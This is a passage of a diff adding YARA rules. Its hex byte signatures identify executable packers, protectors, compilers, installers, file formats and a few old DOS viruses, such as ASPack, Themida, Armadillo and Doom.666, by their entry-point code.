+		$0 = {90 61 BE 00 10 42 00 8D BE 00 00 FE FF C7 87 C0 20 02 00 F9 89 C7 6A 57 83 CD FF EB 0E 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4}
+	condition:
+		$0
+}
+rule _Armadillo_v301__v350a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo v3.01 - v3.50a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V1x__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.x -> SIS-Team"
+	strings:
+		$0 = {68 ?? ?? 00 00 E8 ?? FD FF FF 68 ?? ?? 00 00 E8 ?? FD FF FF 68 90 03 00 00 E8 ?? FD FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? FD FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_220221__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.20/2.21 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00}
+		$1 = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v21_
+{
+	meta:
+		description = "ASPack v2.1"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 33 87 DB 90 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida__Oreans_Technologies_2004_
+{
+	meta:
+		description = "Themida -> Oreans Technologies 2004"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Interchange_Format_File_IFF_type_WVQA_
+{
+	meta:
+		description = "Interchange Format File (IFF), type WVQA"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 57 56 51 41 56 51 48 44}
+	condition:
+		$0
+}
+rule _ASProtect_20_
+{
+	meta:
+		description = "ASProtect 2.0"
+	strings:
+		$0 = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _ASPack_v1061b_
+{
+	meta:
+		description = "ASPack v1.061b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED EA A8 43 ?? B8 E4 A8 43 ?? 03 C5 2B 85 78 AD 43 ?? 89 85 84 AD 43 ?? 80 BD 6E AD 43}
+	condition:
+		$0 at entrypoint
+}
+rule _HQR_data_file_
+{
+	meta:
+		description = "HQR data file"
+	strings:
+		$0 = {48 00 00 00 ?? 02 00 00 ?? ?? 00 00 ?? ?? 00 00}
+	condition:
+		$0
+}
+rule _Mew_10_execoder_10__Northfox_HCC_
+{
+	meta:
+		description = "Mew 10 exe-coder 1.0 -> Northfox [HCC]"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_25A__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.5A -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8}
+		$1 = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _TASM__MASM_
+{
+	meta:
+		description = "TASM / MASM"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00 A3 ?? ?? 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Necropolis_
+{
+	meta:
+		description = "Vx: Necropolis"
+	strings:
+		$0 = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+	condition:
+		$0 at entrypoint
+}
+rule _DrWeb_VirusFinding_Engine__InSoft_EDVSysteme_
+{
+	meta:
+		description = "Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme"
+	strings:
+		$0 = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+	condition:
+		$0 at entrypoint
+}
+rule _Open_Source_Code_Crypter__p0ke_
+{
+	meta:
+		description = "Open Source Code Crypter -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0}
+		$1 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Windows_Shortcut_file_
+{
+	meta:
+		description = "Microsoft Windows Shortcut file"
+	strings:
+		$0 = {4C 00 00 00 01 14 02 00 00 00}
+	condition:
+		$0
+}
+rule _KGCrypt_vxx_
+{
+	meta:
+		description = "KGCrypt vx.x"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Apex_c_beta__500mhz_
+{
+	meta:
+		description = "Apex_c beta -> 500mhz"
+	strings:
+		$0 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yodas_Protector_v1032_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Protector v1.03.2 by Ashkbiz Danehkar"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00}
+	condition:
+		$0
+}
+rule _FSG_v12_
+{
+	meta:
+		description = "FSG v1.2"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _nSpack_V13__LiuXingPing_
+{
+	meta:
+		description = "nSpack V1.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RLP_v073beta__ap0x_h_
+{
+	meta:
+		description = "RLP v0.7.3beta -> ap0x (h)"
+	strings:
+		$0 = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56 41 87 FC 0F F3 05 40 81 68 4B 93 71 40 BB 87 3C 40 40 8B 88 06 75 70 40 40 8B BB B3 43 C4 8F 93 2B F3 4A 88 06 07 30 F5 EA 2A 35 F0 4B 8A C3 07 C1 C6 02 C4 34 C0 74 74 32 02 C4 45 0B 3C 96 BE 0A 82 C3 DE 36 A9 7E 5A 51 A6 BC 63 A8 66 CB 30 58 20 8C CC 85 53 9F C1 E4 10 80 11 20 1E 48 D2 E8 F7 28 5C 26 89 5C 94 89 5A F8 1C 0B 74 7E 33 4E 9B 29 56 F2 2B 84 42 8A 95 16 76 64 08 7B 70 8F A0 0B A8 3A C1 C7 B5 3E D9 70}
+	condition:
+		$0
+}
+rule _FSG_110_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_v211_DEMO_
+{
+	meta:
+		description = "ORiEN v2.11 (DEMO)"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_packer_06_
+{
+	meta:
+		description = "Unknown packer (06)"
+	strings:
+		$0 = {FA B8 ?? ?? BE ?? ?? 33 F0 0E 17 2E ?? ?? ?? BA ?? ?? 87 E6 5B 33 DC}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_20__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 2.0 -> SetiSoft"
+	strings:
+		$0 = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SVKProtector_v132_
+{
+	meta:
+		description = "SVK-Protector v1.32"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v276__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.76 -> WebToolMaster"
+	strings:
+		$0 = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+	condition:
+		$0 at entrypoint
+}
+rule _COP_v10_c_1988_
+{
+	meta:
+		description = "COP v1.0 (c) 1988"
+	strings:
+		$0 = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+	condition:
+		$0 at entrypoint
+}
+rule _TXT2COM_ReadAMatic_v10_
+{
+	meta:
+		description = "TXT2COM (Read-A-Matic v1.0)"
+	strings:
+		$0 = {B8 ?? ?? 8E D8 8C 06 ?? ?? FA 8E D0 BC ?? ?? FB B4 ?? CD 21 A3 ?? ?? 06 50 B4 34 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Cruncher_v10_
+{
+	meta:
+		description = "Cruncher v1.0"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_13_Split_Method__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC}
+		$1 = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Vx_Doom666_
+{
+	meta:
+		description = "Vx: Doom.666"
+	strings:
+		$0 = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_v09910_
+{
+	meta:
+		description = "Free Pascal v0.99.10"
+	strings:
+		$0 = {E8 00 6E 00 00 55 89 E5 8B 7D 0C 8B 75 08 89 F8 8B 5D 10 29}
+	condition:
+		$0 at entrypoint
+}
+rule _ARM_Protector_01_by_SMoKE_
+{
+	meta:
+		description = "ARM Protector 0.1 by SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 01 00 8D 8D 92 31 40 00 8B 09 E8 14 00 00 00 83 EB 01 00 8B FE E8 00 00 00 00 58 83 C0}
+	condition:
+		$0
+}
+rule _PE_Crypt32_v102_
+{
+	meta:
+		description = "PE Crypt32 v1.02"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v139_
+{
+	meta:
+		description = "EXE32Pack v1.39"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V118_Dll_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Dll (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 9F 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 AA 0A 00 00 89 85 F9 0A 00 00 EB 14 60 FF B5 F9 0A 00 00 FF 34 37 FF 74 37 04 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _hyings_PEArmor__hyingCCG_
+{
+	meta:
+		description = "hying's PE-Armor -> hying[CCG"
+	strings:
+		$0 = {E8 AA 00 00 00 2D ?? ?? ?? 00 00 00 00 00 00 00 00 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _USERNAME_v300_
+{
+	meta:
+		description = "USERNAME v3.00"
+	strings:
+		$0 = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _TheHypers_protector__TheHyper_h_
+{
+	meta:
+		description = "TheHyper's protector -> TheHyper (h)"
+	strings:
+		$0 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8}
+		$1 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+		$2 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? ?? 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+	condition:
+		$0 or $1 at entrypoint or $2 at entrypoint
+}
+rule _Krypton_v05_
+{
+	meta:
+		description = "Krypton v0.5"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_V16c__Vaska__Sign_by_fly_
+{
+	meta:
+		description = "RCryptor V1.6c -> Vaska ! Sign by fly"
+	strings:
+		$0 = {8B C7 03 04 24 2B C7 80 38 50 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v20_
+{
+	meta:
+		description = "EP v2.0"
+	strings:
+		$0 = {6A ?? 60 E9 01 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Gentee_Installer_Custom_
+{
+	meta:
+		description = "Gentee Installer Custom"
+	strings:
+		$0 = {55 8B EC 81 EC 14 04 00 00 53 56 57 6A 00 FF 15 08 41 40 00 68 00 50 40 00 FF 15 04 41 40 00 85 C0 74 29 6A 00 A1 00 20 40 00 ?? ?? ?? ?? 41 40 00 8B F0 6A 06 56 FF 15 1C 41 40 00 6A 03 56 FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1304__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_FSG_131_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.31]"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b2_
+{
+	meta:
+		description = "Armadillo v1.90b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPack32_v1x_
+{
+	meta:
+		description = "WWPack32 v1.x"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60}
+	condition:
+		$0 at entrypoint
+}
